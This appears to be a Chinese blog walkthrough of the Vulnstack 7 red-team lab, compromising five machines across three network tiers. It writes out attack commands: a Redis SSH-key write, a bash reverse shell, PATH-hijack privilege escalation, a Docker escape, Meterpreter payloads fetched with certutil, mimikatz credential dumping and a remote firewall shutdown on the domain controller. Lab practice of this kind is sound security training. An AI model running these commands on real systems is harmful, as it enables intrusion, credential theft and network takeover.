百度360必应搜狗淘宝本站头条
当前位置:网站首页 > 技术教程 > 正文

ATT&CK红队实战七 devgru红队

suiw9 2024-11-11 15:52 96 浏览 0 评论

前言

红日的第七个靶场链接如下:http://vulnstack.qiyuanxuetang.net/vuln/detail/9/,整个靶场的网络环境分为三层。从最初的信息收集、外网初探、攻入内网、搭建代理、横向移动,最终拿下域控。

搭建完成后访问172.20.10.4,发现是一个博客页面

对目标ip进行端口扫描发现还开启了22,81,6379端口

访问81端口发现是个Larvel的站点,版本v8.29.0存在远程代码执行漏洞,可以拿exp打一下

使用脚本getshell,工具地址:

https://github.com/SecPros-Team/laravel-CVE-2021-3129-EXP

这里使用哥斯拉直接连接就可以(这里注意的是要使用低版本的哥斯拉进行连接,因为高版本的哥斯拉生成的马的加密方式已经改变了导致会连接失败)。

使用哥斯拉执行命令回显有点问题,就又写了一个php一句话换成了用蚁剑进行连接,发现当前的shell处于docker容器中,反弹shell也失败了。

那来看下6379端口的redis有没有未授权,kali直接连接发现存在redis未授权。

直接往目标主机上写ssh公钥

ssh-keygen -t rsa
(echo -e "\n\n"; catid_rsa.pub; echo -e "\n\n") > 1.txt
cat 1.txt | redis-cli -h 172.20.10.4-x set crack

然后连接redis执行命令

config set dir /root/.ssh   #设置
config set dbfilenameauthorized_keys
save

写入成功后,ssh进行连接,发现目标主机还存在另外一网段192.168.52.1/24

查看主机的基本信息发现存在nginx代理服务,发现我们前面访问的80端口,nginx服务将其转发给了47.117.125.220而81端口的请求转发给了第二层网络的web服务器192.168.52.20。

我们先将前面Larvel的shell反弹给web1(192.168.52.10),然后获取一个交互式shell:

bash -c 'exec bash -i >&/dev/tcp/192.168.52.10/1234 0>&1'
nc -lvp 1234
python -c 'importpty;pty.spawn("/bin/bash")'
Ctrl-Z
stty raw -echo
fg

前面已经知道当前的shell是在docker容器中,当前用户为www-data,我们要想办法提权,这里利用环境变量来提权,直接使用find命令来搜索具有SUID或4000权限的文件,在这里发现一个在/home/jobs目录下有一个shell文件,执行该文件发现该文件执行了ps命令并且未使用绝对路径。

更改$PATH来执行我们的恶意程序,从而获得目标主机的高权限shell

cd /tmp
echo "/bin/bash" > ps
chmod 777 ps
echo $PATH
export PATH=/tmp:$PATH #将/tmp添加到环境变量中,并且先加载执行/tmp里的程序
cd /home/jobs
./shell

这个我们已经获取到root权限了,接下来就是要进行docker逃逸

fdisk -l #查看磁盘文件
mkdir chan
mount /dev/sda1 /chan    #将/dev/sda1挂载到创建的文件夹
ls /chan

发现home目录下有unbuntu用户,可以生成ssh密钥写入到/chan/home/ubuntu/.ssh目录中的authorized_keys文件中,写入成功之后就可以使用该密钥登陆到该机器上。

ssh-keygen -f chan
chmod 600 chan    #赋予权限
cp -avx /chan/home/ubuntu/.ssh/id_rsa.pub/chan/home/ubuntu/.ssh/authorized_keys #-avx是将权限也一起复制
echo > /chan/home/ubuntu/.ssh/authorized_keys  #清空authorized_keys文件
echo '生成的.pub文件的内容' > /chan/home/ubuntu/.ssh/authorized_keys  #将ssh秘钥写入authorized_keys文件

成功登录,系统未ubuntu,还存在192.168.93.1/24网段

利用内核提权漏洞CVE-2021-3493进行提权

至此已经成功拿下了这两台机器,如下:

web1:172.20.10.4       192.168.52.10
web2:  192.168.52.20     192.168.93.10

下面开始上线msf,生成两个elf文件

msfvenom -plinux/x64/meterpreter/bind_tcp LHOST=172.20.10.5 LPORT=5555 -f elf -o web1.elf
msfvenom -plinux/x64/meterpreter/bind_tcp LPORT=5555 -f elf -o web2.elf

在web1上将两个文件下载下来,执行web1.elf文件

此时msf已经接收到web1的session,添加路由

web1使用python3开启http服务 web2远程下载并执行we2.elf文件,此时两台机器已上线msf

对192.168.52.0段进行存活主机扫描,发现存在192.168.52.30

对该主机进行端口扫描如下,发现开启了445端口

使用msf的永恒之蓝模块攻击失败

发现192.168.52.30还开放了8080端口,配置代理然后访问一下

#使用ew配置
./ew_for_linux64 -s rcsocks -l 1080-e 1234     #攻击机执行
vim /etc/proxychains4.conf
socks5 127.0.0.1 1080
 
nohup ./ew_for_linux64 -s rssocks -d172.20.10.5-e 1234 &     #web1执行

配置好代理后访问8080发现是个通达OA经测试其版本为通达OA V11.3这个版本未授权文件上传、文件包含等漏洞。

直接抓包,修改数据包来未授权上传图片马,这里路径为/2112/1345204797.jpg(这里burp也要进行socks代理)。

文件包含图片马来执行命令,发现也存在另外一个ip192.168.93.20

既然可以执行命令来了,生产一个exe木马然后直接上线msf上传到web1,win7远程从web1开启的http服务上将chan.exe下载下来。

msfvenom -p windows/meterpreter/bind_tcpLPORT=7777 -f exe -o chan.exe
python3 -m http.server 8088 #
ertutil.exe -urlcache -split -f http://192.168.52.10:8088/chan.exe
C:\MYOA\webroot\ispirit\interface\chan.exe

执行exe成功返回session

至此已经拿下第三台机器,经过信息搜集发现域控为192.168.93.30

使用meterpreter上的kiwi模块尝试抓取域用户及域管理员的密码

load kiwi
kiwi_cmd privilege::debug
kiwi_cmd sekurlsa::logonPasswords

在第二层网络Windows服务器的meterpreter中添加一个通往192.168.93.1/24网段的路由

对192.168.93.0网段进行存活主机扫描,发现存在192.168.93.30 192.168.93.40

使用msf永恒之蓝的扫描模块对这两台机器进行扫描,发现存在永恒之蓝漏洞

利用msf模块进行攻击,只有192.168.93.40这台机器成功了

至此已经拿下四台主机:

我们登录到192.168.93.40这台机器上,我们前面已经获取到了域管理员的账号密码,直接与域控建立ipc连接

net use \\192.168.93.30\ipc#34;Whoami2021" /user:"Administrator"
然后执行如下命令,使用sc远程在域制器(192.168.93.30)上创建服务关闭防火墙:
sc \\192.168.93.30 create enfirewallbinpath= "netsh advfirewall set allprofiles state off"
sc \\192.168.93.30 start enfirewall

使用msf的 exploit/windows/smb/psexec 模块即可成功登录

成功拿下域控,至此三层网络结构中的五台机器已经全部拿下了

这里拿师傅的图来展示一下网络结构:

总结

通过此次靶场的练习,学习了Laravel远程代码执行、通达OA v11.3的漏洞利用、ssh密钥的利以及sudo权限提升,三层网络代理等。这里应该还有其他的姿势,等后面在研究研究。

相关推荐

设置文件的默认打开方式(如何设定文件的默认打开方式)

在操作系统中,设置文件的默认打开方式可以让特定类型的文件始终使用你选择的程序打开。以下是Windows和macOS系统中设置默认打开方式的详细步骤:Windows系统方法1:通过文件属性设置右键点...

电脑怎么设置默认浏览器(电脑怎么设置默认浏览器?)

在电脑上设置默认浏览器的步骤因操作系统不同而有所差异。以下是Windows和Mac系统的设置方法:Windows系统方法1:通过系统设置打开“设置”:...

Java接口默认方法:灵活与约束并存

Java接口默认方法:灵活与约束并存在Java编程的世界里,接口作为定义行为规范的重要工具,一直扮演着举足轻重的角色。然而,在Java8引入了默认方法之后,接口的设计和使用方式发生了微妙的变化。今天...

Java8新特性之默认方法:为接口注入灵魂

Java8新特性之默认方法:为接口注入灵魂Java8发布时,它带来的最大创新之一就是接口的默认方法。这就像给一个传统的木偶注入了生命,让它不仅能动还能说话了。今天我们就来聊聊这个让Java开发者欢呼雀...

CentOS系统在不重启的情况下为虚拟机添加新硬盘

一、概述用过虚拟机的都知道,如果在系统运行的时候去给虚拟机添加一块新设备,比如说硬盘,系统是读取不到这个新硬盘的,因为系统在启动的时候会去检测硬件设备。但是我们也可能会遇到这样的情况,比如正在运行比较...

[常用工具] 基于psutil和GPUtil获取系统状态信息

本文主要介绍在Python3中利用psutil库获取系统状态,利用GPUtil获取gpu状态。psutil(processandsystemutilities)(进程和系统实用程序)是一个跨平...

Docker容器内执行宿主机指令(docker执行宿主机shell)

一背景最近项目有个需求,需要程序配置服务器IP并且可以重启服务器。如果程序直接部署在服务器,相信大家都会操作。但是程序是用docker运行的,在docker中执行指令就很麻烦了。...

容器网络调试怎么办?一条命令就搞定!

nsenter命令是一个可以在指定进程的命令空间下运行指定程序的命令。它位于util-linux包中。用途...

linux自动化巡检脚本集(linux服务器巡检内容以及标准)

以下是一个自动化巡检脚本集的制作方案,包含常见系统检查项和可扩展框架,使用Python和Shell脚本实现:...

麒麟KOS|统信UOS系统添加新数据盘
麒麟KOS|统信UOS系统添加新数据盘

原文链接:麒麟KOS|统信UOS系统添加新数据盘...

2025-03-26 16:57 suiw9

Linux CentOS 7 根目录扩容(linux扩展根目录磁盘空间)

一、现状描述现有一台CentOS7的虚拟机,硬盘容量为30GB通过lsblk命令查看分区容量,当前根目录容量为27.5GB左右二、扩容需求...

从Linux底层分析Docker原理(linux docker-compose)

写在前面如果你觉得本人对你有帮助,请你记得评论,点赞,关注;如果你觉得文章还不错请记得收藏,点赞。如果你觉得文章非常的好可以私信我,我会在第一时间回复你。...

CentOS新增硬盘的使用步骤(centos扩展硬盘)

一、查看机器所挂硬盘个数及分区情况,新增硬盘为/dev/sdb...

Python之psutil库简介(python3 pil库)

psutil(pythonsystemandprocessutilities)是一个跨平台的第三方库,能够轻松实现获取系统运行的进程和系统利用率(包扩CPU、内存、磁盘、网络等)信息。它主...

运维,你还不会查看Linux系统cpu信息?

CPU也称为微处理器或简称为处理器。就像大脑如何控制人体一样,CPU控制着计算机的所有部分。因此CPU被认为是计算机的大脑。那我们怎么在Linux系统中查看如IntelCorei3、i5、AM...

取消回复欢迎 发表评论: